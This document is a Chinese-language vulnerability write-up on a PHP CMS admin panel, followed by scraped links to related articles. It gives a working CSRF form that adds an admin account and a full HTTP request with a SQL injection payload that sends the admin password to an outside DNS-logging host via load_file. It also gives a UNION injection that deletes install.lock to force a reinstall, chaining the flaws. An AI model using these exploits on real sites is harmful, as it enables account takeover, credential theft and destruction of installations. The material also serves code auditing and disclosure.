PHP:网展cms后台任意文件删除和sql注入
0x01:目录结构
可以发现Frameword是框架的文件 install安装 public公共文件 uploads储存上传之类的文件 webuser后台文件 Home前台文件

0x02.csrf漏洞 漏洞文件地址: ~/webuser/lib/action/UserAction.class.php
public function addUser(){
if ($this->isPost()) {
$db=D('User');
if($data=$db->create()){
if($db->data($data)->add()){
$this->success('用户创建成功',U('User/index'));
}else{
$this->error('用户添加失败');
}
}else{
$this->error($db->getError());
}
}else{
$this->error('非法操作!');
}
}
这里没有经过任何的验证 直接$this->isPost 接收post的请求 然后直接使用add方法执行添加语句 添加一个管理员
用burp生成一个csrf poc
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://127.0.0.1/webuser/index.php/user/addUser.html" method="POST">
<input type="hidden" name="username" value="pythoniam" />
<input type="hidden" name="password" value="pythoniam" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
0x03.后台SQL注入 漏洞文件地址:~/webuser/lib/action/DownloadAction.class.php
public function delall(){
if ($this->isPost()) {
if ($_POST['dell']=="") {
$this->error('您未选择任何数据');
}
// var_dump($_POST['dell']);
// exit;
foreach ($_POST['dell'] as $value) { //存在注入
$filename=M('Download')->where('id='.$value)->getField('filename');
if ($filename) {
delimg('../Uploads/download/'.$filename);
}
}
$ids=implode(",", $_POST['dell']);
$where['id']=array('in',$ids);
if (M('Download')->where($where)->delete()) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
}
}
因为这里虽然$_POST[‘dell’]接收了参数但是由于后面的delete操作会直接进行跳转所以这里普通的注入无法实现可以通过盲注或者是dnslog注入,dnslog注入会非常的方便
利用:
直接抓个删除的包 然后发送post数据 进行dnslog注入 dnslog的平台就会读取日志,获取信息
POST /webuser/index.php/download/delall.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 91
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/webuser/index.php/download/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: espcms_web_user_info=ETffReM7Dj9sT%2BLEHFPIwtQI4Zgo1w%2B3%2BwhjnI9jDdoksLzhOr5vs4GczduYo2itp%2BY3K8qNAQ41Sfox4Wvw%2BLVk4TuITrbvcsCWARJI2%2FKIndwtVJdtlaKAx3JTU0pcTcI4WF7cXza71scqQqKJnrlUXy0zhuCJHDLt7EWymadN1f2Bxilzfi86UHqZHh80kirCClL9wcAThPw0TK06jLzr3dvfJPfn%2FVo63SRqR8jAnlGkyvUP%2BXClC6mHgNbQ6979d6CP9rskCHGq5XbJTZMj9hI6H0nLdsirA65PN0jYcFppmju%2FmV%2FA8K5UUcJJUpILIfk20x2Qg%2FBkwfgTk1XrQArcBSvwVh8lVkhg8CLPGd%2Bfjv19Ih9Yq8LU1dXhAbkJY8nQVHPTdr7N4AQOqqwPJmx1UZ0PxI9uS1ZNo2lj11QhB4Moe%2BmP00yP3li3tGUTT0mpBC8KofiORzB6iYZeBUaxUkTQ2TC43yqrBdPl1WQKCRsEBu8gfKjj4CMOy3vGhiOSUm8Pp1tNtrtcJZOe%2FmfUCGGy6QRz1rJWjFgL2DJamK3uj741jndbWuJGi8Jh4qV9Igtkqq7zoT6o3vL%2BFvLhi42%2BBnTfLTFfpValvkkkT8wvvGROHwWYdttdrsxemPsEHtc%2FuOCaGCWo655qC9Gf4zdogruJNdCsJqvh8D19CH7TPFEAQkprRoJONQmlYA1OEU2oEQaDAQBUHYdN7cV0qY1Ms8ZJVBw0IauGaYchiHjwWySXTq8B5ai52aY8PsH%2F%2BtFzVXENQIo32yYJlEVyhGKdBxyMTcSAwHQ%3D; espcms_web_server_info=%2BO2El7up84NgZyHWqG6mobSva%2ByJsYGG3yBO7jGnUPo6%2FWrrVVsgqyJMqnOwA%2BeU6eJqVveZXFkFxCdXETMTzWsNDGCZ32Nw1Th0pe%2BAy4k%3D; Hm_lvt_eaeabff74fbfaa0528be9c9691e1ef25=1561026992; ys-dialog=o%3Awidth%3Dn%253A464%5Eheight%3Dn%253A387%5Ex%3Dn%253A659%5Ey%3Dn%253A193; eXtplorer=i7AT4Vvzd1J0X8huJCDNT5GFOgMHuOB3; PHPSESSID=enm3no0k1rgerbea374f6r32n2
Connection: close
dell%5B%5D=1 and if((select load_file(concat('\\\\',(select password from phpcms_user limit 1),'.0wtpsg.ceye.io\\92'))),1,1)&sort%5B4%5D=123123

0x04.后台任意文件删除导致重装 漏洞文件地址:~/webuser/lib/action/DownloadAction.class.php
public function delall(){
if ($this->isPost()) {
if ($_POST['dell']=="") {
$this->error('您未选择任何数据');
}
// var_dump($_POST['dell']);
// exit;
foreach ($_POST['dell'] as $value) { //存在注入
$filename=M('Download')->where('id='.$value)->getField('filename');
if ($filename) {
delimg('../Uploads/download/'.$filename);// ../../test.php
echo 1;
exit;
}
}
$ids=implode(",", $_POST['dell']);
$where['id']=array('in',$ids);
if (M('Download')->where($where)->delete()) {
$this->success('删除成功');
} else {
$this->error('删除失败');
}
}
}
这里可以先是接收了dell参数的post值 然后foreach遍历其中的$filename的参数 然后if判断如果存在那么进行删除操作 我们再看下 delimg这个函数
function delimg($filename){ // delimg('../Uploads/download/'.$name)
if(is_file($filename)){
if(unlink($filename)){
return true;
}else{
return false;
}
}else{
return false;
}
}
发现这个函数是直接进行删除操作的 那么意味着filename只要能控制住 那么就可以进行任意删除的操作
$filename=M('Download')->where('id='.$value)->getField('filename');
这里的$value值 为$_POST['dell'] 所传过来的参数值 而且这里的where方法是进行拼接的 那么可以进行控制
原生语句:select filename from table where id = $value 想要控制filename的值 我们可以这样
select filename from table where id = -1 ) union select '../../Home/install.lock' from phpcms_user#
poc:
POST /webuser/index.php/download/delall.html HTTP/1.1
Host: 127.0.0.1
Content-Length: 91
Cache-Control: max-age=0
Origin: http://127.0.0.1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.36 SE 2.X MetaSr 1.0
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Referer: http://127.0.0.1/webuser/index.php/download/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8
Cookie: espcms_web_user_info=ETffReM7Dj9sT%2BLEHFPIwtQI4Zgo1w%2B3%2BwhjnI9jDdoksLzhOr5vs4GczduYo2itp%2BY3K8qNAQ41Sfox4Wvw%2BLVk4TuITrbvcsCWARJI2%2FKIndwtVJdtlaKAx3JTU0pcTcI4WF7cXza71scqQqKJnrlUXy0zhuCJHDLt7EWymadN1f2Bxilzfi86UHqZHh80kirCClL9wcAThPw0TK06jLzr3dvfJPfn%2FVo63SRqR8jAnlGkyvUP%2BXClC6mHgNbQ6979d6CP9rskCHGq5XbJTZMj9hI6H0nLdsirA65PN0jYcFppmju%2FmV%2FA8K5UUcJJUpILIfk20x2Qg%2FBkwfgTk1XrQArcBSvwVh8lVkhg8CLPGd%2Bfjv19Ih9Yq8LU1dXhAbkJY8nQVHPTdr7N4AQOqqwPJmx1UZ0PxI9uS1ZNo2lj11QhB4Moe%2BmP00yP3li3tGUTT0mpBC8KofiORzB6iYZeBUaxUkTQ2TC43yqrBdPl1WQKCRsEBu8gfKjj4CMOy3vGhiOSUm8Pp1tNtrtcJZOe%2FmfUCGGy6QRz1rJWjFgL2DJamK3uj741jndbWuJGi8Jh4qV9Igtkqq7zoT6o3vL%2BFvLhi42%2BBnTfLTFfpValvkkkT8wvvGROHwWYdttdrsxemPsEHtc%2FuOCaGCWo655qC9Gf4zdogruJNdCsJqvh8D19CH7TPFEAQkprRoJONQmlYA1OEU2oEQaDAQBUHYdN7cV0qY1Ms8ZJVBw0IauGaYchiHjwWySXTq8B5ai52aY8PsH%2F%2BtFzVXENQIo32yYJlEVyhGKdBxyMTcSAwHQ%3D; espcms_web_server_info=%2BO2El7up84NgZyHWqG6mobSva%2ByJsYGG3yBO7jGnUPo6%2FWrrVVsgqyJMqnOwA%2BeU6eJqVveZXFkFxCdXETMTzWsNDGCZ32Nw1Th0pe%2BAy4k%3D; Hm_lvt_eaeabff74fbfaa0528be9c9691e1ef25=1561026992; ys-dialog=o%3Awidth%3Dn%253A464%5Eheight%3Dn%253A387%5Ex%3Dn%253A659%5Ey%3Dn%253A193; eXtplorer=i7AT4Vvzd1J0X8huJCDNT5GFOgMHuOB3; PHPSESSID=enm3no0k1rgerbea374f6r32n2
Connection: close
dell%5B%5D=-1 ) union select '../../Home/install.lock' from phpcms_user#&sort%5B4%5D=123123
总结:csrf->sql注入(看权限) 或者 重装漏洞
PHP:网展cms后台任意文件删除和sql注入的更多相关文章
- Discuz!X V3.4后台任意文件删除
Discuz!X V3.4后台任意文件删除 简述 该漏洞为后台任意文件删除,需要有管理员的权限,所以说危害非常小 复现环境 docker.vulhub-master 项目地址:https://gite ...
- 【代码审计】iZhanCMS_v2.1 后台任意文件删除漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- ThinkSNS2.5前台getshell+后台任意文件删除
12年爆出的一个洞 前几天比赛的一个cms 于是跟出题人表哥要过来审计了看看 漏洞文件再根目录thumb.php中 <?php /* * 自动缩略图 参数 url|w|h|type=" ...
- 【代码审计】CLTPHP_v5.5.3后台任意文件删除漏洞分析
0x00 环境准备 CLTPHP官网:http://www.cltphp.com 网站源码版本:CLTPHP内容管理系统5.5.3版本 程序源码下载:https://gitee.com/chich ...
- HDWIKI6.0后台任意文件删除/下载
- [代码审计]phpshe开源商城后台两处任意文件删除至getshell
0x00 背景 这套系统审了很久了,审计的版本是1.6,前台审不出个所以然来.前台的限制做的很死. 入库的数据都是经过mysql_real_escape_string,htmlspecialchars ...
- [代码审计]云优cms V 1.1.2前台多处sql注入,任意文件删除修复绕过至getshell
0X00 总体简介 云优CMS于2017年9月上线全新版本,二级域名分站,内容分站独立,七牛云存储,自定义字段,自定义表单,自定义栏目权限,自定义管理权限等众多功能深受用户青睐,上线短短3个月,下载次 ...
- 【代码审计】JTBC(CMS)_PHP_v3.0 任意文件删除漏洞分析
0x00 环境准备 JTBC(CMS)官网:http://www.jtbc.cn 网站源码版本:JTBC_CMS_PHP(3.0) 企业版 程序源码下载:http://download.jtbc. ...
- 【代码审计】XIAOCMS_后台database.php页面存在任意文件删除漏洞
0x00 环境准备 XIAOCMS官网: http://www.xiaocms.com/ 网站源码版本:XiaoCms (发布时间:2014-12-29) 程序源码下载:http://www.xi ...
随机推荐
- (9)ASP.NET Core 中的MVC路由二
1.URL生成 MVC应用程序可以使用路由的URL生成功能,生成指向操作(Action)的URL链接. IUrlHelper 接口用于生成URL,是MVC与路由之间的基础部分.在控制器.视图和视图组件 ...
- Mybatis+MySql 一个标签中执行多条sql语句
版权声明:本文为博主原创文章,未经博主允许不得转载. https://blog.csdn.net/cxfly957/article/details/77896590 MySql默认是不支持这种骚操作的 ...
- 我的第一个netcore2.2 api项目搭建(三)
上一章快速添加了swagger文档管理功能,我的第一个netcore2.2 api项目搭建(二) 这一章实现目标三:api添加身份验证功能 在实现该目标之前,先得理解netcore运行机制. 这是微软 ...
- Big Data Hubris:"大数据傲慢"问题
大数据的傲慢与偏见— 读后心得 数据模型研究者必看的书 原文链接: https://medium.com/@iven00000000/%E5%A4%A7%E6%95%B8%E6%93%9A%E7%9A ...
- 2019 吉比特java面试笔试题 (含面试题解析)
本人5年开发经验.18年年底开始跑路找工作,在互联网寒冬下成功拿到阿里巴巴.今日头条.吉比特等公司offer,岗位是Java后端开发,因为发展原因最终选择去了吉比特,入职一年时间了,也成为了面试官 ...
- 第一次Git上传本地项目到github上 的命令
1.下载Git软件:https://git-scm.com/downloads, 2.下载之后安装就很简单了, 3.邮箱注册 在git bash界面输入如下内容即可完成邮箱的注册: $ git con ...
- Java打印日历表
今天来吐槽一下Java的Calendar类的使用问题,反正我是弄了半天. 首先是,遇到一个问题,输入年份和月份,需要打印这个月的日历,网上有不少代码,但我用了几个感觉都不是很靠谱. 然后经过一番探索, ...
- English--动词时态
English|动词时态 时态是一个很玄乎的东西,要么是完全掌握,要么是不知所云. 在正式开始之前,大家需要明白汉语的谓语动词是不会随着时间与状态而变化.但是,英语的谓语动词会随着时间与状态发生变化. ...
- 【Java深入研究】11、深入研究hashmap中的hash算法
一.简介 大家都知道,HashMap中定位到桶的位置 是根据Key的hash值与数组的长度取模来计算的. JDK8中的hash 算法: static final int hash(Object key ...
- React组件中对子组件children进行加强
React组件中对子组件children进行加强 问题 如何对组件的children进行加强,如:添加属性.绑定事件,而不是使用<div>{this.props.children}< ...